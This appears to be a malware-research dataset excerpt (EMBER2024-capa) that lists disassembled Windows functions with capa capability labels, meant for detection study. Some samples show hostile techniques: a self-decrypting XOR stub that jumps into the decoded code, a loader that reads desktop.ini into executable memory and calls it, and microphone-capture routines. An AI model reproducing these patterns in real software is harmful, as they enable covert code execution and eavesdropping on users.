joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4988b1
Capabilities:
Check for time delay via gettickcount
Create process on windows
Get graphical window text

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffde4
push 0
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x49889f
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
cmp esi, dword [eax + 0x30]
je 0x498891
push esi
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x498891
push 0x80
lea eax, [esp + 0x1a0]
push eax
push esi
call sub.user32.dll_GetWindowTextA
test eax, eax
je 0x498891
inc ebx
mov dword [esp + ebx*4 + 8], esi
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x49885f
mov dword [esp + 4], ebx
mov edi, dword [esp + 4]
mov eax, dword [0x4b3478]
cmp byte [eax], 0
je 0x4988bf
push 1
push 0x4989a8
call sub.kernel32.dll_WinExec
jmp 0x4988cb
push 1
push 0x4989c0
call sub.kernel32.dll_WinExec
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
cmp edi, dword [esp + 4]
jne 0x49896f
push 0
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
xor edi, edi
test esi, esi
je 0x498955
mov bl, 1
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
cmp esi, dword [eax + 0x30]
je 0x498947
push esi
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x498947
push 0x80
lea eax, [esp + 0x1a0]
push eax
push esi
call sub.user32.dll_GetWindowTextA
test eax, eax
je 0x498947
inc edi
mov edx, dword [esp + 4]
test edx, edx
jle 0x498940
lea eax, [esp + 0xc]
cmp esi, dword [eax]
jne 0x49893a
xor ebx, ebx
add eax, 4
dec edx
jne 0x498934
test bl, bl
je 0x498947
mov dword [esp], esi
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x4988f8
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 8]
cmp eax, 0x7d0
ja 0x49896f
cmp edi, dword [esp + 4]
je 0x4988de
push 1
push 0x14
push 0x14
mov eax, dword [0x4b3774]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
add eax, 0x12c
push eax
mov eax, dword [0x4b3774]
mov eax, dword [eax]
mov eax, dword [eax + 0x40]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.user32.dll_SetWindowPos
add esp, 0x21c
pop edi
pop esi
pop ebx
ret
Function at 0x498b24
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404580
xor eax, eax
push ebp
push 0x498cb3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_CreatePipe
test eax, eax
je 0x498c8d
mov eax, 0x961
call fcn.00407e38
mov ebx, eax
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x44
call fcn.00402d18
mov dword [ebp - 0x60], 0x44
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], 0x101
mov word [ebp - 0x30], 0
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
call fcn.00404590
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x498c62
push 0x64
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov edi, eax
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
call fcn.00466d50
cmp edi, 0x102
je 0x498be5
xor eax, eax
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0x960
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile
mov eax, dword [ebp - 0x10]
mov byte [ebx + eax], 0
push ebx
push ebx
call sub.user32.dll_OemToCharA
lea edx, [ebp - 0x74]
mov eax, esi
call fcn.004471b4
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
mov edx, ebx
call fcn.004042c8
mov edx, dword [ebp - 0x78]
pop eax
call fcn.00404398
mov edx, dword [ebp - 0x74]
mov eax, esi
call fcn.004471e4
cmp dword [ebp - 0x10], 0x960
jae 0x498c06
mov eax, ebx
call fcn.00402704
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x6c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x498cba
lea eax, [ebp - 0x78]
call fcn.004040d0
lea eax, [ebp - 0x74]
call fcn.004040d0
lea eax, [ebp - 4]
call fcn.004040d0
ret
Function at 0x49f3a0
Capabilities:
Get disk information

Disassembly:
add esp, 0xfffffefc
mov eax, esp
mov edx, dword [0x4b32a8]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.0040436c
mov edx, esp
mov eax, dword [0x4b3390]
mov cl, 1
call fcn.00402c08
mov edx, dword [0x4b3390]
lea eax, [esp + 0x100]
call fcn.00402bfc
mov edx, 0x49f43c
lea eax, [esp + 0x100]
mov cl, 3
call fcn.00402bcc
lea edx, [esp + 0x100]
mov eax, dword [0x4b3568]
call fcn.00404334
mov eax, dword [0x4b3568]
mov eax, dword [eax]
call fcn.00404590
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x49f421
mov eax, 0x49f448
call fcn.0042a030
jmp 0x49f432
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
call fcn.00466d50
call fcn.0049ebb4
add esp, 0x104
ret

Function at 0x4a44fc
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov edi, dword [0x4b382c]
mov eax, dword [0x4b31b8]
inc dword [eax]
mov eax, dword [0x4b3480]
mov eax, dword [eax]
imul ebx
mov edx, dword [0x4b32a4]
mov edx, dword [edx]
lea eax, [edx + eax]
mov esi, ebx
shl esi, 2
mov dword [edi + esi*8], eax
mov eax, dword [0x4b3480]
mov eax, dword [eax]
mov dword [edi + esi*8 + 4], eax
xor eax, eax
mov dword [edi + esi*8 + 8], eax
mov eax, dword [0x4b31b8]
mov eax, dword [eax]
mov dword [edi + esi*8 + 0xc], eax
xor eax, eax
mov dword [edi + esi*8 + 0x10], eax
xor eax, eax
mov dword [edi + esi*8 + 0x14], eax
xor eax, eax
mov dword [edi + esi*8 + 0x18], eax
xor eax, eax
mov dword [edi + esi*8 + 0x1c], eax
mov eax, dword [0x4b3434]
mov eax, dword [eax]
push eax
lea eax, [edi + esi*8]
push eax
mov eax, dword [0x4b34d4]
mov eax, dword [eax]
push eax
call sub.winmm.dll_waveInPrepareHeader
mov eax, dword [0x4b3434]
mov eax, dword [eax]
push eax
lea eax, [edi + esi*8]
push eax
mov eax, dword [0x4b34d4]
mov eax, dword [eax]
push eax
call sub.winmm.dll_waveInAddBuffer
pop edi
pop esi
pop ebx
ret
Function at 0x4a4d1c
Capabilities:
Delete file

Disassembly:
push ebx
mov eax, dword [0x4b3768]
cmp byte [eax], 0
je 0x4a4e06
mov eax, dword [0x4b31d0]
mov byte [eax], 0
mov eax, dword [0x4b336c]
cmp byte [eax], 0
je 0x4a4dc8
mov eax, dword [0x4b30c0]
cmp dword [eax], 0x2c
jne 0x4a4dc8
mov eax, dword [0x4b3708]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx]
sub eax, 0x2c
mov edx, dword [0x4b30c0]
mov dword [edx], eax
call fcn.004a4398
mov eax, dword [0x4b3708]
mov eax, dword [eax]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov edx, dword [0x4b31cc]
mov eax, dword [0x4b3708]
mov eax, dword [eax]
mov ecx, 0x2c
call fcn.004164a4
mov eax, dword [0x4b3708]
mov eax, dword [eax]
call fcn.004032fc
mov eax, dword [0x4b30c0]
cmp dword [eax], 0x64
ja 0x4a4dbf
mov eax, dword [0x4b3720]
mov eax, dword [eax]
call fcn.00404590
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x4b3720]
call fcn.004040d0
mov eax, dword [0x4b30c0]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x4b357c]
mov eax, dword [eax]
push eax
call sub.bassenc.dll_BASS_Encode_Stop
mov eax, dword [0x4b32e0]
cmp byte [eax], 0
je 0x4a4dec
mov eax, dword [0x4b3084]
mov eax, dword [eax]
push eax
call sub.basswma.dll_BASS_WMA_EncodeClose
mov eax, dword [0x4b357c]
mov eax, dword [eax]
push eax
call sub.bass.dll_BASS_ChannelStop
mov eax, dword [0x4b357c]
mov eax, dword [eax]
push eax
call sub.bass.dll_BASS_StreamFree
pop ebx
ret
Function at 0x4a4eb4
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
push ecx
mov eax, dword [0x4b3768]
cmp byte [eax], 0
je 0x4a50a9
mov dword [esp], 0x28
mov esi, dword [0x4b31b8]
mov esi, dword [esi]
inc esi
xor ebx, ebx
mov ecx, dword [0x4b382c]
add ecx, 8
mov eax, dword [0x4b3480]
mov eax, dword [eax]
cmp eax, dword [ecx]
jne 0x4a4f0e
mov eax, dword [ecx + 4]
xor edx, edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x4a4f05
cmp eax, dword [esp]
pop edx
pop eax
jbe 0x4a4f0e
jmp 0x4a4f09
pop edx
pop eax
jle 0x4a4f0e
mov esi, dword [ecx + 4]
mov edi, ebx
inc ebx
add ecx, 0x20
cmp ebx, 0x28
jne 0x4a4ee1
mov eax, esi
cdq
push edx
push eax
mov eax, dword [0x4b31b8]
mov eax, dword [eax]
inc eax
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x4a4f2f
cmp eax, dword [esp]
pop edx
pop eax
je 0x4a50a9
mov eax, dword [0x4b31c8]
mov dword [eax], edi
call fcn.00497880
call fcn.00497ee4
call fcn.004a4e84
mov eax, dword [0x4b31d0]
cmp byte [eax], 0
je 0x4a5036
mov eax, dword [0x4b339c]
cmp byte [eax], 0
jne 0x4a5036
fld xword [0x4a50b0]
mov eax, dword [0x4b360c]
fadd dword [eax]
mov eax, dword [0x4b360c]
fstp dword [eax]
wait
mov eax, dword [0x4b336c]
cmp byte [eax], 0
je 0x4a4fa2
mov ecx, dword [0x4b3310]
mov ecx, dword [ecx]
mov edx, dword [0x4b311c]
mov eax, dword [0x4b3708]
mov eax, dword [eax]
call fcn.004164a4
mov eax, dword [0x4b3880]
cmp byte [eax], 0
je 0x4a4fc7
mov eax, dword [0x4b3310]
mov eax, dword [eax]
push eax
mov eax, dword [0x4b311c]
push eax
mov eax, dword [0x4b357c]
mov eax, dword [eax]
push eax
call sub.bassenc.dll_BASS_Encode_Write
mov eax, dword [0x4b36cc]
cmp byte [eax], 0
je 0x4a4fec
mov eax, dword [0x4b3310]
mov eax, dword [eax]
push eax
mov eax, dword [0x4b311c]
push eax
mov eax, dword [0x4b357c]
mov eax, dword [eax]
push eax
call sub.bassenc.dll_BASS_Encode_Write
mov eax, dword [0x4b3520]
cmp byte [eax], 0
je 0x4a5011
mov eax, dword [0x4b3310]
mov eax, dword [eax]
push eax
mov eax, dword [0x4b311c]
push eax
mov eax, dword [0x4b357c]
mov eax, dword [eax]
push eax
call sub.bassenc.dll_BASS_Encode_Write
mov eax, dword [0x4b32e0]
cmp byte [eax], 0
je 0x4a5036
mov eax, dword [0x4b3310]
mov eax, dword [eax]
push eax
mov eax, dword [0x4b311c]
push eax
mov eax, dword [0x4b3084]
mov eax, dword [eax]
push eax
call sub.basswma.dll_BASS_WMA_EncodeWrite
mov eax, edi
shl eax, 2
mov edx, dword [0x4b382c]
mov edx, dword [edx + eax*8 + 0xc]
mov ecx, dword [0x4b3120]
mov dword [ecx], edx
mov edx, dword [0x4b31b8]
inc dword [edx]
mov edx, dword [0x4b382c]
xor ecx, ecx
mov dword [edx + eax*8 + 8], ecx
mov edx, dword [0x4b382c]
mov ecx, dword [0x4b31b8]
mov ecx, dword [ecx]
mov dword [edx + eax*8 + 0xc], ecx
mov edx, dword [0x4b3434]
mov edx, dword [edx]
push edx
mov edx, dword [0x4b382c]
lea eax, [edx + eax*8]
push eax
mov eax, dword [0x4b34d4]
mov eax, dword [eax]
push eax
call sub.winmm.dll_waveInAddBuffer
mov eax, dword [0x4b34d4]
mov eax, dword [eax]
push eax
call sub.winmm.dll_waveInStart
dec dword [esp]
jne 0x4a4ecd
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4ae214
Capabilities:
Get disk information

Disassembly:
add esp, 0xfffffefc
mov eax, dword [0x4b30cc]
cmp byte [eax], 0
je 0x4ae235
mov eax, dword [0x4b32e4]
mov eax, dword [eax]
call fcn.0042a030
jmp 0x4ae383
mov eax, dword [0x4b31d0]
cmp byte [eax], 0
jne 0x4ae383
mov eax, esp
mov edx, dword [0x4b32a8]
mov edx, dword [edx]
mov ecx, 0xff
call fcn.0040436c
mov edx, esp
mov eax, dword [0x4b3390]
mov cl, 1
call fcn.00402c08
mov edx, dword [0x4b3390]
lea eax, [esp + 0x100]
call fcn.00402bfc
mov edx, 0x4ae38c
lea eax, [esp + 0x100]
mov cl, 3
call fcn.00402bcc
lea edx, [esp + 0x100]
mov eax, dword [0x4b3568]
call fcn.00404334
mov eax, dword [0x4b3568]
mov eax, dword [eax]
call fcn.00404590
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x4ae2c1
mov eax, 0x4ae398
call fcn.0042a030
jmp 0x4ae383
push 0x4ae3bc
push 0
call sub.user32.dll_FindWindowA
test eax, eax
je 0x4ae2e9
push 0
push 0
push 0x12
push 0x4ae3bc
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
call fcn.00466d50
call fcn.004adcfc
mov eax, dword [0x4b31d0]
mov byte [eax], 1
mov eax, dword [0x4b3290]
cmp byte [eax], 0
jne 0x4ae319
mov eax, dword [0x4b339c]
mov byte [eax], 0
call fcn.004a4a88
mov eax, dword [0x4b3290]
cmp byte [eax], 0
je 0x4ae33a
mov eax, dword [0x4b36c4]
cmp dword [eax], 1
jne 0x4ae33a
mov eax, dword [0x4b339c]
mov byte [eax], 1
call fcn.004a4a88
mov eax, dword [0x4b3290]
cmp byte [eax], 0
je 0x4ae356
mov eax, dword [0x4b36c4]
cmp dword [eax], 2
jne 0x4ae356
mov eax, dword [0x4b339c]
mov byte [eax], 1
mov eax, dword [0x4b3290]
cmp byte [eax], 0
je 0x4ae377
mov eax, dword [0x4b36c4]
cmp dword [eax], 3
jne 0x4ae377
mov eax, dword [0x4b339c]
mov byte [eax], 1
call fcn.004a4a88
mov eax, dword [0x4b35a4]
mov eax, dword [eax]
call fcn.00466d50
add esp, 0x104
ret
Function at 0x40c043
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x40c07e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x40c065
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x40c076
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x40c080
inc edi
add eax, 0x28
cmp edi, esi
jb 0x40c05b
xor eax, eax
pop edi
pop esi
ret
Function at 0x41100a
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x4150d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
xor edi, edi
push eax
mov dword [ebp - 0xc], edi
call fcn.004090dc
test eax, eax
pop ecx
je 0x41103f
push edi
push edi
push edi
push edi
push edi
call fcn.0040c0d5
add esp, 0x14
push 4
pop eax
call fcn.00411d40
mov dword [ebp - 0x14], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x41114d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x58]
dec esi
neg esi
sbb esi, esi
and esi, 0x103
inc esi
cmp dword [ebp - 0xc], 2
mov dword [ebp - 8], edi
jne 0x4110c6
push 0x401d30
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, edi
je 0x4110c6
push 0x402e70
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x4110c6
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x10], edi
call eax
cmp eax, 1
jne 0x4110c6
mov eax, dword [ebp - 0x10]
cmp eax, edi
jbe 0x4110c6
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
lea edi, [ebx - 1]
push edi
push dword [ebp - 8]
call fcn.00409e72
add esp, 0xc
test eax, eax
jl 0x41114d
not edi
and dword [ebp - 8], edi
je 0x4110f8
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 8]
call fcn.00409e72
add esp, 0xc
test eax, eax
jl 0x41114d
lea eax, [ebx + ebx]
cmp dword [ebp - 8], eax
jae 0x411103
mov dword [ebp - 8], eax
lea edi, [ebx - 1]
not edi
and edi, dword [ebp - 0x14]
sub edi, dword [ebp - 8]
cmp dword [ebp - 0xc], 1
jne 0x411117
push 0x11
pop ebx
mov eax, dword [ebp - 0x18]
add ebx, eax
cmp edi, ebx
jb 0x41114d
push 4
push 0x1000
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x41114d
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x41114d
xor eax, eax
inc eax
jmp 0x41114f
xor eax, eax
lea esp, [ebp - 0x68]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407c6f
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x408a1c
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
push esi
push edi
lea eax, [ebp - 0x10]
push eax
mov edi, 0x4b6
push edi
mov esi, ecx
call fcn.004071bd
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push 1
inc eax
inc eax
push edi
mov ecx, esi
mov dword [esi + 0x58], eax
call fcn.004071da
push 1
inc edi
push edi
mov ecx, esi
call fcn.004071da
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x103
push 0x2b4
lea eax, [ebp - 0x4d0]
push eax
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x4d0]
push edi
push dword [esi + 4]
mov dword [esi + 0x50], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x407823
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, esi
mov dword [esi + 0x54], eax
call fcn.004086eb
mov ecx, esi
mov edi, eax
call fcn.00407b90
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40c8ae
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40c8d4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x40c8d4
xor al, al
jmp 0x40c8f4
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00413790
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x413370
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
sub eax, 1
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x4199e0], ecx
add edx, 1
cmp edx, 0x100
jb 0x413372
cmp edx, 0x800
jae 0x41345b
mov edi, edi
mov eax, dword [edx*4 + 0x4195e0]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x4199e0]
add edx, 1
cmp edx, 0x800
mov dword [edx*4 + 0x4199dc], eax
jb 0x413430
mov dword [0x4199b4], 0x413ab0
call fcn.004135a0
test eax, eax
jne 0x413478
mov dword [0x4199b4], 0x4139d0
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
xor eax, eax
push edi
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x1000202c]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x1000115b
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x1000118b
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x100011f1
push edi
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x408d51
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x408d8f
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x408d96
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
add edx, 0x40c6a8
add eax, ebx
mov dword [esp + 4], str._s_S.dll
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 0xc], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x408f64
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43a424], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
jne 0x408fa1
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x408f7e
mov dword [ecx*4 + 0x43a420], eax
inc ecx
cmp ecx, 0x100
jne 0x408f77
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x408fc4
inc edx
mov cl, byte [edx - 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x43a420]
jmp 0x408fab
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx